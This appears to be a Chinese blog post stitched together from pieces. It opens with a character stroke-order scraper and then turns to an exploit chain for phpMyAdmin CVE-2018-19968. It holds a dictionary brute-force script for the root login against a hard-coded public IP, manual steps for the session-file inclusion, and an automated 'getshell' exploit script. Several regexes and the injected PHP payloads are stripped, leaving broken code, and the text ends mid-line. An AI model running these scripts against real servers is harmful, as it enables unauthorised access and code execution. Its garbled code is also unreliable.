以CVE-2018-19968为例,写exp,一键getshell
所需工具: python / burp,可选 pycharm / ipython
观察待爬网页命名规则发现用的是汉字的unicode编码
https://www.hanzi5.com/bishun/9f9f.html
/u9f9f unicode解码得到 ==》 '龟'
汉字转unicode编码
a = '龟'
In [16]: a.encode('unicode-escape')[-4:].decode('ascii')
Out[16]: '9f9f'
然后构造url,用requests.get()
爬取网页,再用re
切割,获得该汉字的笔画gif链接
r = requests.get(urls)
gifurl = 'https://www.hanzi5.com' + re.findall(', r.text)[0] + '.gif'
然后就是保存图片了,这里查了一下.text
和.content
的区别,毕竟输出都看起来一样
resp.text返回的是Unicode型的数据。
resp.content返回的是bytes型也就是二进制的数据。
注意:图片啥的一定要用二进制wb
下面是完整的代码:
import requests
import re
def main(search_zh):
search = search_zh.encode('unicode-escape')[-4:].decode('ascii')
urls = 'https://www.hanzi5.com/bishun/{}.html'.format(search)
# 爬取gif地址
r = requests.get(urls)
gifurl = 'https://www.hanzi5.com' + re.findall(', r.text)[0] + '.gif'
# 保存图片
gif = requests.get(gifurl)
with open('./'+search_zh+'.gif', 'wb') as f:
f.write(gif.content)
if __name__ == "__main__":
while(input('查询请回车,退出输入0:') != '0'):
search_zh = input('输入查询汉字:')
main(search_zh)
print("已成功保存,请查收!")
print('====================\n********************\n====================')
二、Web登录
抓包发现post的格式为
pma_username=123&pma_password=123&server=1&target=index.php&token=894163ce093426af0da104f697a34d18
发现几个关键点,pma_username,pma_password,token
用户名密码直接爆破,token我在前端html内发现了,应该是每次get这个页面服务器给客户端分发的验证码,所以不能用抓包得到的token,直接正则切割页面的值
re.findall(', r.text)[0]
‘fb8082e4121605873a26cb45c208e27a’
主要是保持session通信,在session上进行get和post操作,此处被坑
# 获取session(),保持连接
f = requests.Session()
# 获取页面上的token和title
r = f.get(url, headers=header)
token = re.findall(', r.text)[0]
data = {
'pma_username' : 'root',
'pma_password' : password,
'server' : '1',
'target' : 'index.php',
'token' : token
}
# post方式提交账号密码,再次截取title判断是否登录成功
r = f.post(url, data=data, headers=header)
这里判断是否登陆成功采用
标签的判断
old_title = re.findall('(.*?) ', r.text)[0]
new_title = re.findall('(.*?) ', r.text)[0]
密码选择用字典对root用户进行爆破
import requests
import re
def post_url(password):
url = 'http://94.191.112.225/phpmyadmin/'
header = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0'
}
# 获取session(),保持连接
f = requests.Session()
# 获取页面上的token和title
r = f.get(url, headers=header)
old_title = re.findall('(.*?) ', r.text)[0]
token = re.findall(', r.text)[0]
data = {
'pma_username' : 'root',
'pma_password' : password,
'server' : '1',
'target' : 'index.php',
'token' : token
}
# post方式提交账号密码,再次截取title判断是否登录成功
r = f.post(url, data=data, headers=header)
new_title = re.findall('(.*?) ', r.text)[0]
# 输出
if r.status_code == 200 and old_title != new_title:
print("登录成功!密码是" + password)
return 1
else:
print("登录失败!")
if __name__ == "__main__":
f = open('./dic2.txt', "r")
while 1:
line = f.readline().strip()
if post_url(line): break
f.close()
三、CVE-2018-19968
CVE-2018-19968是一个由Transformation特性引起的本地文件读取漏洞,影响4.8.0~4.8.3版本。
Transformation是phpMyAdmin中的一个高级功能,通过Transformation可以对每个字段的内容使用不同的转换,每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段 ‘Filename’,正常情况下 phpMyAdmin 只会将路径显示出来。但是通过Transformation我们可以将该字段转换成超链接,我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。
通常情况下Transformation的规则存储在每个数据库的pma__column_info表中,而在phpMyAdmin 4.8.0~4.8.3版本中,由于对转换参数处理不当,导致了任意文件包含漏洞的出现。
漏洞原理:
文件:tbl_replace.php
$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
[...]
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&& !empty($mime_map[$column_name]['input_transformation'])
) {
$filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
if (is_file($filename)) {
include_once $filename;
$classname = Transformations::getClassName($filename);
/** @var IOTransformationsPlugin $transformation_plugin */
$transformation_plugin = new $classname();
$transformation_options = Transformations::getOptions(
$mime_map[$column_name]['input_transformation_options']
);
$current_value = $transformation_plugin->applyTransformation(
$current_value, $transformation_options
);
// check if transformation was successful or not
// and accordingly set error messages & insert_fail
if (method_exists($transformation_plugin, 'isSuccess')
&& !$transformation_plugin->isSuccess()
) {
$insert_fail = true;
$row_skipped = true;
$insert_errors[] = sprintf(
__('Row: %1$s, Column: %2$s, Error: %3$s'),
$rownumber, $column_name,
$transformation_plugin->getError()
);
}
}
}
拼接到$filename
的变量$mime_map[$column_name]['input_transformation']
来自于数据表pma__column_info
中的input_transformation
字段,因为数据库中的内容用户可控,从而产生了任意文件包含漏洞 (漏洞资料取自这里)
手工复现:
- 创建数据库,并将PHP代码写入SESSION文件中
CREATE DATABASE bobomilktea;
CREATE TABLE bobomilktea.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO bobomilktea.bar SELECT '';
INSERT INTO xx SELECT ''
表示将后面的php代码插入表中,
指输出关于PHP配置的信息
chk_rel.php文件里的代码内容很少,其中有些似乎和修复PMA表有关
-
访问http://94.191.112.225/phpmyadmin/chk_rel.php?fixall_pmadb=1&db=bobomilktea
在数据库bobomilktea中生成phpMyAdmin的配置表。
-
然后执行sql语句,将cookie替换{yourSessionId}
INSERT INTO `pma__column_info` SELECT '1', 'bobomilktea', 'bar', 'baz', 'plop',
'plop', 'plop', 'plop',
'../../../../../../../../tmp/sess_{yourSessionId}','plop';
- 访问以下payload,如果利用成功将会返回
phpinfo()
http://94.191.112.225/phpmyadmin/tbl_replace.php?db=bobomilktea&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
四、编写exp
将sql执行语句插入webshell
CREATE DATABASE bobomilktea;
CREATE TABLE bobomilktea.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO bobomilktea.bar SELECT '';
其中文件包含可以使用下面语句创建文件写入小马
全代码在下面
import requests
import re
def post_url(password):
url = 'http://94.191.112.225/phpmyadmin/'
header = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0'
}
# 获取session(),保持连接
f = requests.Session()
# 获取页面上的token和title
r = f.get(url, headers=header)
old_title = re.findall('(.*?) ', r.text)[0]
token = re.findall(', r.text)[0]
data = {
'pma_username' : 'root',
'pma_password' : password,
'server' : '1',
'target' : 'index.php',
'token' : token
}
# post方式提交账号密码,再次截取title判断是否登录成功
r = f.post(url, data=data, headers=header)
new_title = re.findall('(.*?) ', r.text)[0]
# 输出
if r.status_code == 200 and old_title != new_title:
print("登录成功!")
return f
else:
print("登录失败!")
def datab(f, sql):
url1 = 'http://94.191.112.225/phpmyadmin/'
url = 'http://94.191.112.225/phpmyadmin/import.php'
header = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'
}
r = f.get(url1, headers=header)
token = re.findall(', r.text)[0]
data = {
'token' : token,
'sql_query' : sql,
}
r = f.post(url, data=data, headers=header)
def run(dataname, tablename, culname):
# 获取登录好的session,之前爆出的密码为root
f = post_url('root')
# 创建数据库,表的sql语句
sql1 = '''CREATE DATABASE {0};CREATE TABLE {0}.{1} ( {2} VARCHAR(100) PRIMARY KEY );INSERT INTO {0}.{1} SELECT '';'''.format(dataname, tablename, culname)
# 执行第一句sql语句
datab(f, sql1)
# 在数据库生成phpMyAdmin配置表
r = f.get('http://94.191.112.225/phpmyadmin/chk_rel.php?fixall_pmadb=1&db={}'.format(dataname))
# 获取cookie
cookie = r.cookies['phpMyAdmin']
print(cookie)
sql2 = '''USE {0}; INSERT INTO `pma__column_info`SELECT '1', '{0}', '{1}', '{2}', 'plop','plop', 'plop', 'plop','../../../../../../../../tmp/sess_{3}','plop';'''.format(dataname, tablename, culname, cookie)
# 执行第二个sql语句
datab(f, sql2)
r = f.get('http://94.191.112.225/phpmyadmin/tbl_replace.php?db={0}&table={1}&where_clause=1=1&fields_name[multi_edit][][]={2}&clause_is_unique=1'.format(dataname, tablename, culname))
# print(re.findall('(.*?)